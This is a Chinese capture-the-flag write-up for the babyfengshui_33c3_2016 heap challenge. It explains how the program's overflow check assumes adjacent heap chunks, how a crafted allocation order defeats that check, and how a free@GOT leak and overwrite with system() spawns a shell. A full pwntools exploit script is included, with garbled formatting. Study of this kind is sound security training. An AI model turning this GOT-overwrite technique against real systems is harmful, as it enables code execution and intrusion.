【buu】babyfengshui_33c3_2016(详细题解)

2024-01-16 11:59

本文主要是介绍【buu】babyfengshui_33c3_2016(详细题解),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

  • 前言
  • 题解
  • 完整脚本
  • 总结

前言

这应该是到目前为止理解的最透彻的堆题了

题解

在这里插入图片描述
32位的程序,开了 Canary, Nx 保护
先放进IDA看看
在这里插入图片描述
又是个堆题,常规流程

先看 add 函数
首先申请了descriptionchunk ,接着又申请了一个0x80大小的 chunk
然后将 descriptionchunk 指针 放到第二个 chunk 中,
接着是一个指针数组 *(&ptr + byte_804b069) 存放第二个 chunk
接着是调用 get_name 函数输入 name
读入 124 字节到第二个 chunk 偏移为 4 的地方

在这里插入图片描述
get_name 函数对输入的 name 进行查找,如果里面有 10,则 将第二个 chunk 中存放 description chunk的指针置0
然后是 update 函数
在这里插入图片描述
首先是读入要修改的 description 长度,然后是一个 if 判断
如果 修改的长度 v3 + 指向description的指针 >= 指向name数组的指针 则返回失败
很显然这是一个防止堆溢出的判断
但是这种判断只基于 description 的堆块与 name 堆块地址相邻,所以可以利用堆的分配机制让这两个堆块分开,使其他的 chunk 分布在这两个堆块之间

delete函数先 free 了第二个 chunk 指向的 chunk 也就是第一个chunk
然后再 free 第二个chunk
接着把第二个 chunk 的指针置0,但是 descriptionchunk 指针没有置0

在这里插入图片描述
show函数显示数据
先打印出第二个 chunk 输入的 name 内容
然后打印出第一个 description chunk 里面的内容

先申请三个堆块,大小都是0x80

add(0x80,'nam1',0x80,'aaaa')
add(0x80,'nam2',0x80,'bbbb')
add(0x80,'nam3',0x80,'/bin/sh\x00')

在这里插入图片描述
生成了六个堆块
在这里插入图片描述
在这里可以看到堆块的结构,对快的先后顺序是 descriptino chunk0 ,name chunk0
现在释放我们申请的第一个堆块,description chunk0,和 name chunk 0,会合并为一个堆块
在这里插入图片描述
在这里插入图片描述
再申请一个新的 chunk0,大小为 0x100,系统后面自动申请 name chunk0的时候,unsortbin 里面的空闲堆块已经不满足要求,就要重新分配,而重新分配的 chunk0_name 则位于堆块尾部
在这里插入图片描述
在这里插入图片描述
查看最后一个堆块可以看到 chunk0_name 中存有 第一个堆块 chunk0_text 的地址
现在利用堆溢出到第一个堆块的 name chunk上,泄露 free 函数的地址,然后算出libc基址就可以得到system函数的地址了

payload = b'a'*0x108 + b'a'*0x08 + b'a'*0x80 + b'a'*0x08 + p32(free_got)
update(3,0x200,payload)

在这里插入图片描述
之前往第三个 chunk 里面写进了 /bin/sh\x00,现在只要把 free_got 替换为 system的地址,当我们在 free 掉第三个 chunk 的时候就会执行 system(‘/bin/sh’),获取shell

完整脚本

from pwn import*
context.log_level  = "debug"
elf = ELF('./pwn')
libc = ELF('./buulibc/libc-2.23.i386.so')
#io = remote('node4.buuoj.cn',26247)
io = process('./pwn')def add(size,name,length,text):io.recvuntil(b'Action: ')io.sendline(b'0')io.recvuntil(b'size of description: ')io.sendline(str(size))io.recvuntil(b'name: ')io.sendline(name)io.recvuntil(b'text length: ')io.sendline(str(length))io.recvuntil(b'text: ')io.sendline(text)
def delete(id):io.recvuntil(b'Action: ')io.sendline(b'1')io.recvuntil(b'index: ')io.sendline(str(id))
def show(id):io.recvuntil(b'Action: ')io.sendline(b'2')io.recvuntil(b'index: ')io.sendline(str(id))
def update(id,length,text):io.recvuntil(b'Action: ')io.sendline(b'3')io.recvuntil(b'index: ')io.sendline(str(id))io.recvuntil(b'text length: ')io.sendline(str(length))io.recvuntil(b'text: ')io.sendline(text)add(0x80,b'nam1',0x80,b'aaaa')
add(0x80,b'nam2',0x80,b'bbbb')
add(0x80,b'nam3',0x80,b'/bin/sh\x00')
delete(0)
add(0x100,b'name1',0x100,b'cccc') //申请新的 chunk id3
free_got = elf.got['free'] 
payload = b'a'*0x108 + b'a'*8 + b'a'*0x80 + b'a'*8 + p32(free_got)
update(3,0x200,payload) //在 name thunk1 里面写入 free_got 地址
show(1) //输出地址
io.recvuntil(b'description: ')
free_addr = u32(io.recv(4)) //接收free_got的地址
libc_base = free_addr - libc.sym['free'] //计算libc基址
system = libc_base + libc.sym['system'] //算出system地址
print(hex(system))update(1,0x80,p32(system)) // 写入system地址
delete(2)
#gdb.attach(io)
#pause()
io.interactive()

总结

我是菜鸡!

这篇关于【buu】babyfengshui_33c3_2016(详细题解)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/612533

相关文章

IntelliJ IDEA 中配置 Spring MVC 环境的详细步骤及问题解决

《IntelliJIDEA中配置SpringMVC环境的详细步骤及问题解决》:本文主要介绍IntelliJIDEA中配置SpringMVC环境的详细步骤及问题解决,本文分步骤结合实例给大... 目录步骤 1:创建 Maven Web 项目步骤 2:添加 Spring MVC 依赖1、保存后执行2、将新的依赖

如何为Yarn配置国内源的详细教程

《如何为Yarn配置国内源的详细教程》在使用Yarn进行项目开发时,由于网络原因,直接使用官方源可能会导致下载速度慢或连接失败,配置国内源可以显著提高包的下载速度和稳定性,本文将详细介绍如何为Yarn... 目录一、查询当前使用的镜像源二、设置国内源1. 设置为淘宝镜像源2. 设置为其他国内源三、还原为官方

最详细安装 PostgreSQL方法及常见问题解决

《最详细安装PostgreSQL方法及常见问题解决》:本文主要介绍最详细安装PostgreSQL方法及常见问题解决,介绍了在Windows系统上安装PostgreSQL及Linux系统上安装Po... 目录一、在 Windows 系统上安装 PostgreSQL1. 下载 PostgreSQL 安装包2.

MySql match against工具详细用法

《MySqlmatchagainst工具详细用法》在MySQL中,MATCH……AGAINST是全文索引(Full-Textindex)的查询语法,它允许你对文本进行高效的全文搜素,支持自然语言搜... 目录一、全文索引的基本概念二、创建全文索引三、自然语言搜索四、布尔搜索五、相关性排序六、全文索引的限制七

python中各种常见文件的读写操作与类型转换详细指南

《python中各种常见文件的读写操作与类型转换详细指南》这篇文章主要为大家详细介绍了python中各种常见文件(txt,xls,csv,sql,二进制文件)的读写操作与类型转换,感兴趣的小伙伴可以跟... 目录1.文件txt读写标准用法1.1写入文件1.2读取文件2. 二进制文件读取3. 大文件读取3.1

Linux内核参数配置与验证详细指南

《Linux内核参数配置与验证详细指南》在Linux系统运维和性能优化中,内核参数(sysctl)的配置至关重要,本文主要来聊聊如何配置与验证这些Linux内核参数,希望对大家有一定的帮助... 目录1. 引言2. 内核参数的作用3. 如何设置内核参数3.1 临时设置(重启失效)3.2 永久设置(重启仍生效

如何在Mac上安装并配置JDK环境变量详细步骤

《如何在Mac上安装并配置JDK环境变量详细步骤》:本文主要介绍如何在Mac上安装并配置JDK环境变量详细步骤,包括下载JDK、安装JDK、配置环境变量、验证JDK配置以及可选地设置PowerSh... 目录步骤 1:下载JDK步骤 2:安装JDK步骤 3:配置环境变量1. 编辑~/.zshrc(对于zsh

使用Node.js制作图片上传服务的详细教程

《使用Node.js制作图片上传服务的详细教程》在现代Web应用开发中,图片上传是一项常见且重要的功能,借助Node.js强大的生态系统,我们可以轻松搭建高效的图片上传服务,本文将深入探讨如何使用No... 目录准备工作搭建 Express 服务器配置 multer 进行图片上传处理图片上传请求完整代码示例

C++ vector的常见用法超详细讲解

《C++vector的常见用法超详细讲解》:本文主要介绍C++vector的常见用法,包括C++中vector容器的定义、初始化方法、访问元素、常用函数及其时间复杂度,通过代码介绍的非常详细,... 目录1、vector的定义2、vector常用初始化方法1、使编程用花括号直接赋值2、使用圆括号赋值3、ve

python连接本地SQL server详细图文教程

《python连接本地SQLserver详细图文教程》在数据分析领域,经常需要从数据库中获取数据进行分析和处理,下面:本文主要介绍python连接本地SQLserver的相关资料,文中通过代码... 目录一.设置本地账号1.新建用户2.开启双重验证3,开启TCP/IP本地服务二js.python连接实例1.